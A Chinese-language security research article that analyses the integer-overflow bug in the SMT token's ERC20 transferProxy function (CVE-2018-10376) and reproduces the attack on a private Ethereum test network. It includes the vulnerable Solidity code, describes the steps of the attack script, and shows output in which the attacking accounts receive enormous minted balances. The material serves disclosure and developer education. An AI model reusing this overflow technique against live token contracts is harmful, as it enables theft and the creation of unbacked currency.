在私有以太坊上实现针对 ERC20 数字货币 ProxyOverflow 漏洞的攻击

作者：王凯(KameWang) @ 腾讯湛泸实验室

ERC20 的 ProxyOverflow 漏洞造成影响广泛，本文将对其攻击方法进行分析，以便于智能合约发布者提高自身代码安全性以及其他研究人员进行测试。本文选择传播广泛、影响恶劣的 SMT 漏洞（CVE-2018–10376）作为样本进行分析，文中所涉及的代码截图均来自于 SMT 代码。由于目前各大交易平台已经将 ERC20 协议的数字货币交易叫停，本文的发布不会对这些货币带来直接影响。

1 ERC20 货币及 transferProxy 函数

1.1 ERC20 货币简介

基于 ERC20 协议的数字货币（以下简称为 ERC20 货币）实际上是以太坊上运行的智能合约，合约中对于每个账户拥有的货币数目是通过 *账户地址→货币数* 的映射关系进行的记录：

mapping (address => uint256) balances

ERC20 货币的拥有者要想进行货币交易、余额查询等操作时，需要向智能合约对应的地址发送消息，声明调用的函数和相应参数。这一消息将会矿机接收，并执行智能合约中相应的函数代码。在这一过程中，消息发送者需要向挖矿成功的矿机支付相应的报酬。这笔报酬在以太坊中被称作 gas，其支付货币为以太币。也就是说，ERC20 的货币拥有者要想发送货币交易消息，就需要拥有一定数量的以太币。

然而，ERC20 货币拥有者并不一定拥有以太币。为了满足他们发起货币交易的需求，ERC20 协议提供了 transferProxy 函数。利用该函数，ERC20 货币拥有者可以签署一个交易消息，并交由拥有以太币的第三方节点将其发送到以太坊上。消息的发送者会从拥有者那里获取一定数量的 ERC20 货币作为其发送消息的代理费用。

1.2 transferProxy 函数代码分析

SMT 的 transferProxy 函数代码如下图所示：

```
214     function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt,
215         uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
216
217         if(balances[_from] < _feeSmt + _value) revert();          // 发生溢出，导致检查通过
218
219         uint256 nonce = nonces[_from];                            // 防止重放攻击
220         bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);    // 计算hash
221
222         if(_from != ecrecover(h,_v,_r,_s)) revert();              // 检查该货币发送者的签名是否正确
223
224         if(balances[_to] + _value < balances[_to]                 // 检查钱币接受者及消息发送者钱包上溢
225             || balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();
226         balances[_to] += _value;                                  // 增加接收者余额
227         Transfer(_from, _to, _value);
228
229         balances[msg.sender] += _feeSmt;                          // 增加消息发送者余额
230         Transfer(_from, msg.sender, _feeSmt);
231
232         balances[_from] -= _value + _feeSmt;                      // 减少货币发送者余额，由于溢出，此处减0
233         nonces[_from] = nonce + 1;
234         return true;
235     }
```

该函数的各个参数解释如下，该函数代码逻辑较为简单，此处不做赘述。

- address _from：ERC20 货币的拥有者和交易的发起者；
- address _to：货币交易中的接收者；
- uint256 _value：货币交易的数额；
- uint256 _feeSmt：交易信息发送者（即函数中 msg.sender）收取的代理费用；
- uint _v，bytes32 _r，bytes32 _s：交易发起者（即_from）生成的签名数据。

需注意的是，代码 215 行中的 transferAllowed(_from)是 transferProxy()运行前必会运行的验证函数。该函数代码如下：

```
116     modifier transferAllowed(address _addr) {
117         if (!exclude[_addr]) {
118             assert(transferEnabled);
119             if(lockFlag){
120                 assert(!locked[_addr]);
121             }
122         }
```

代码 117 行中的 exclude 为映射结构，仅合约的创建者将为设置为 True，其他地址默认均为 False。

代码 118 行判定 transferEnabled 标志符是否为 true，该标志只能通过 enableTransfer 函数设定，且该函数只能被合约创建者调用，该函数的作用是使得 ERC20 合约的交易过程可控，这也是 SMT 等货币出现问题时能够在后续中止交易的原因：

```
91      function enableTransfer(bool _enable) public onlyOwner{
92          transferEnabled= _enable;
93      }
```

```
46      modifier onlyOwner() {
47          require(msg.sender == owner);
48          _;
49      }
```

代码 119-121 行对于交易发送者（即_from）帐号是否被锁定进行了检查，lockFlag 和 locked 都只能被合约创建者所控制：

```
bool lockFlag=true;
mapping(address => bool) locked;
```

```
function disableLock(bool _enable) public onlyOwner returns (bool success){
    lockFlag= _enable;
    return true;
}

function addLock(address _addr) public onlyOwner returns (bool success){
    require(_addr!=msg.sender);
    locked[_addr]=true;
    return true;
}
```

综上所述，只有整个合约在允许交易且攻击者帐号未被锁定的情况下，攻击者才能真正调用 transferProxy 函数。在参数处理过程中发生漏洞的原因可参见我们之前的分析文章：https://weibo.com/ttarticle/p/show?id=2309404232782242012923。

2 攻击重现

为了重现攻击，我们选择了基于 go 语言编写的以太坊客户端 geth 进行以太坊私有网络的部署。为了便于实现可编程的自动化交互，我们选择了 Web3.py 作为与以太坊节点交互的中间件。

2.1 漏洞验证环境的搭建

S1. 从链接页面下载 SMT 智能合约源码；
S2. 创建两台 Linux 虚拟机；
S3. 准备 Python 运行环境，在两台虚拟机上安装 python3，并利用 pip 安装 web3、py-solc、hexbytes、attrdict；
S4. 准备合约编译环境，在两台虚拟机上安装智能合约代码编译器 solc，参考链接；
S5. 在两台虚拟机上搭建以太坊私有网络，可参考链接，其中：
   1) 节点 1 用于发布 SMT 合约代码，为其创建以太坊账户并分配一定数量以太币，启动挖矿；
   2) 节点 2 用于部署攻击代码，创建两个以太坊账户，分别作为 transferProxy 中的 from 账户（转账消息签署者，记为 Signer）和 transferProxy 调用者（即转账消息的发送者，记为 Sender），为 Sender 分配一定数量以太币，并启动挖矿。

2.2 SMT 智能合约发布

在节点 1 上，利用 deploy_SMT.py 脚本中的代码实现 SMT 智能合约的一键部署。

关于执行前的配置的介绍：

1) sol_path，代表合约代码路径；
2) account，代表用于发布合约的账户，如 1.2 所示，只有该账户才能调用部署好的智能合约函数，进行控制交易开启和关闭，维护被锁账户列表等操作；
3) pin，用于解锁 account 的密码。

关于执行过程与结果的分析：

1) tx_receipt，该变量用于获取部署智能合约（23 行）和发送启动交易消息（35 行）的结果，当这两行代码被调用后，以太坊网络中会发布相应的消息，只有在下一个区块被挖掘出来后，tx_receipt 才能获取非空的结果；
2) contract_address，代表该合约被顺利部署到以太坊网络后的合约地址，其他节点要想调用合约代码，需要获知该地址以便发送函数调用消息。

合约代码部署结果的截图如下：

```
tester1@eth-testnode-1:/media/sf_Shared_Folder$ python3 ./deploy_SMT.py
Contract Address: 0xA3429967a2D331b0AFFC3c12f79c023e20c86119
RECEIPT: AttributeDict({'blockHash': HexBytes('0xede58f1d2f4faefc104c8b6d1311d49ce474596f1d1a7724
b7948c4477043c9e'), 'blockNumber': 783, 'contractAddress': None, 'cumulativeGasUsed': 27804, 'fro
m': '0xd7c6e511d01aaab46c4edc8ed8e4faf01fb7e2eb', 'gasUsed': 27804, 'logs': [], 'logsBloom': HexB
ytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000'), 'root': '0x50488b3b39b42557a770e0379c35ce8fdf5318bca07d32d
f1e4bf266c09b8397', 'to': '0xa3429967a2d331b0affc3c12f79c023e20c86119', 'transactionHash': HexByt
es('0xbf667a4a5d4098b1a17faad3a6993a93d607d6e1df85491511f75dc092830df5'), 'transactionIndex': 0})
```

2.3 ProxyOverflow 漏洞攻击

在节点 2 上，利用 test_SMT.py 脚本中的代码可实现针对 SMT 合约的一键攻击。

关于执行前的配置的介绍：

1) contract_address，来自 2.2 中 SMT 部署完成后的输出值；
2) sol_path，代表合约代码路径；
3) signer，交易信息的签署者，也将作为调用 transferProxy 时的_from 和_to 的实参；
4) sender，交易信息的发送者，需要拥有一定数量以太坊以支付 gas 费用；
5) signer_pin，signer 的密钥解锁口令，以便对交易信息进行签名；
6) sender_pin，sender 的密钥解锁口令，以便解锁 sender 账户，支付 gas 费用；
7) value，代表发生交易的金额；
8) fee，代表支付给 sender 的代理费用；
9) signer_key_path，代表 signer 的密钥文件路径。

关于执行过程与结果的分析：

1) 30-35 行，基于目标智能合约地址和代码，创建智能合约对象；
2) 37-38 行，获取并打印 sender 和 signer 在攻击前的 SMT 币数目；
3) 40-43 行，获取 signer 现有的 nonce 的值，并将其扩充为 64 字符的字符串；
4) 46-62 行，构建要进行签名的数据的 Hash 值，获取 signer 的私有密钥，并对 Hash 值进行签名，获得签名数据 s，r，v；
5) 63-77 行，构造 transferProxy 函数调用参数，进行函数调用，并获取交易回执；
6) 79-80 行，获取并打印 sender 和 signer 在攻击后的 SMT 币数目。

攻击结果的截图如下：

```
tester2@eth-testnode-2:/media/sf_Shared_Folder$ python3 ./test_SMT.py
Signer: 0xbE508BEAe664F9db63b24284B794e2e1FE36f343
Sender: 0x04CB735da1fd4ab5c50771fa58100E55Dad35f4D
Balance of Signer Before Attack: 0x0
Balance of Sender Before Attack: 0x0
nonce: 0000000000000000000000000000000000000000000000000000000000000000
The Hash is: 0x5caa0a533dd765e94a60b542744e55af9eb83b7a02f6d7d021bfa801005ffd25
signed_message - s: 0x3482f01cea9f8448acc483c22dec05115b15c7f86e456109a7c866ed37d0de5e
signed_message - r: 0x668efab69de8e4760dac9888a1905f95f35380f383348797341052a4b85a0a54
signed_message - v: 0x1c
RECEIPT: AttributeDict({'blockHash': HexBytes('0x52c6025dfd5c0d93f62505e7336f36b23b0940ba87affdf8c6
c4e70ca0'), 'blockNumber': 791, 'contractAddress': None, 'cumulativeGasUsed': 109255, 'from': '0x04
a1fd4ab5c50771fa58100e55dad35f4d', 'gasUsed': 109255, 'logs': [AttributeDict({'address': '0xA342996
1b0AFFC3c12f79c023e20c86119', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1
5a4df523b3ef'), HexBytes('0x000000000000000000000000be508beae664f9db63b24284b794e2e1fe36f343'), Hex
'0x000000000000000000000000be508beae664f9db63b24284b794e2e1fe36f343')], 'data': '0x8fffffffffffffff
ffffffffffffffffffffffffffffffffffffffff', 'blockNumber': 791, 'transactionHash': HexBytes('0xaa8
587310fd3509cca1dcee0a93bbc0cb2daca402aafaf34e539ee63ad'), 'transactionIndex': 0, 'blockHash': HexB
0x52c6025dfd5c0d93f62505e7336f36b23b0940ba87affdf8c6ca4437c4e70ca0'), 'logIndex': 0, 'removed': Fal
AttributeDict({'address': '0xA3429967a2D331b0AFFC3c12f79c023e20c86119', 'topics': [HexBytes('0xddf2
e2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000be508
4f9db63b24284b794e2e1fe36f343'), HexBytes('0x0000000000000000000000004cb735da1fd4ab5c50771fa58100e
5f4d')], 'data': '0x7000000000000000000000000000000000000000000000000000000000000001', 'blockNumber
, 'transactionHash': HexBytes('0xaa81e627a587310fd3509cca1dcee0a93bbc0cb2daca402aafaf34e539ee63ad')
nsactionIndex': 0, 'blockHash': HexBytes('0x52c6025dfd5c0d93f62505e7336f36b23b0940ba87affdf8c6ca443
ca0'), 'logIndex': 1, 'removed': False})], 'logsBloom': HexBytes('0x0000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000080000000001000000000000000000200080000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000800002000000000000
0000000000000000000000000000000000000200000002000000000000000000000800000000020200000000000000
0000000000000000000000000000000000000000000000000000'), 'root': '0x781c6e70b5eb904879e4c0065f5d3
88e15489bd6b8403b21f3b2a759fd', 'to': '0xa3429967a2d331b0affc3c12f79c023e20c86119', 'transactionHas
xBytes('0xaa81e627a587310fd3509cca1dcee0a93bbc0cb2daca402aafaf34e539ee63ad'), 'transactionIndex': 0
Balance of Signer After Attack: 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
Balance of Sender After Attack: 0x7000000000000000000000000000000000000000000000000000000000000001
```